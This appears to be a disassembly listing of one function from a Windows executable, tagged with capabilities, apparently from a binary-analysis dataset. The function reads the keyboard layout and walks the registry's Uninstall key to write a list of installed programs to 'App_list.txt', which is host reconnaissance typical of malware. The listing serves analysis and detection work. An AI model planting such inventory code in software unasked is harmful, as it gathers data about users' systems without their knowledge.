Function at 0x140003d10
Capabilities:
Get installed programs
Get keyboard layout
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rdi
push r14
lea rbp, [rsp - 0x10d8]
mov eax, 0x11d8
call fcn.140006220
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1108]
lea rdx, [rbp + 0x1100]
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor r14d, r14d
test eax, eax
je 0x140003dac
mov ebx, r14d
mov ecx, ebx
mov edi, 1
shl rdi, cl
test qword [rbp + 0x1100], rdi
je 0x140003d8f
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
test rax, rax
je 0x140003dac
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
test eax, eax
jne 0x140003ff4
inc ebx
cmp ebx, 0x40
jb 0x140003d52
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdx, qword [rbp + 0x1100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
call fcn.140003a60
test eax, eax
mov ecx, r14d
setne cl
call fcn.1400030e0
mov rcx, rax
mov rdi, rax
call fcn.140003530
xorps xmm0, xmm0
lea rdx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
sub rdx, rdi
mov rcx, rdi
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140003e00
lea rcx, [rsp + 0x50]
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140003e16
mov eax, dword [0x14012e088]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionUninstall
movsd xmm0, qword [str.App_list.txt]
mov r9d, 0x20019
movsd qword [rcx], xmm0
xor r8d, r8d
mov dword [rcx + 8], eax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
mov word [rcx + 0xc], ax
lea rax, [rbp + 0x1110]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x1110], r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003fcc
lea rdx, [0x14012dd08]
mov qword [rsp + 0x11d0], rsi
lea rcx, [rsp + 0x50]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rsi, rax
test rax, rax
je 0x140003fc4
mov rcx, qword [rbp + 0x1110]
lea r9, [rbp + 0x1100]
mov qword [rsp + 0x38], r14
lea r8, [rbp - 0x30]
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
mov ebx, r14d
mov qword [rsp + 0x20], r14
mov dword [rbp + 0x1100], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x140003faf
mov rcx, qword [rbp + 0x1110]
lea rax, [rbp + 0x1118]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003f6d
mov rcx, qword [rbp + 0x1118]
lea rax, [rbp + 0x1108]
mov qword [rsp + 0x28], rax
lea rdx, str.DisplayName
lea rax, [rbp + 0xd0]
mov dword [rbp + 0x1108], 0x1000
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140003f60
lea r8, [rbp + 0xd0]
mov rcx, rsi
lea rdx, [0x14012dd64]
call fcn.1400023e0
mov rcx, qword [rbp + 0x1118]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x1110]
lea r9, [rbp + 0x1100]
mov qword [rsp + 0x38], r14
lea r8, [rbp - 0x30]
mov qword [rsp + 0x30], r14
inc ebx
mov qword [rsp + 0x28], r14
mov edx, ebx
mov qword [rsp + 0x20], r14
mov dword [rbp + 0x1100], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x140003ee0
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, qword [rbp + 0x1110]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x11d0]
mov rcx, rdi
call fcn.140001120
mov rcx, rdi
call fcn.140005fa0
mov rcx, rdi
call fcn.140004c70
mov rax, rdi
add rsp, 0x11d8
pop r14
pop rdi
pop rbx
pop rbp
ret
mov rcx, r14
lea rdx, [0x140165a40]
nop
movzx eax, byte [rsp + rcx + 0x40]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140004000
jmp 0x140003dac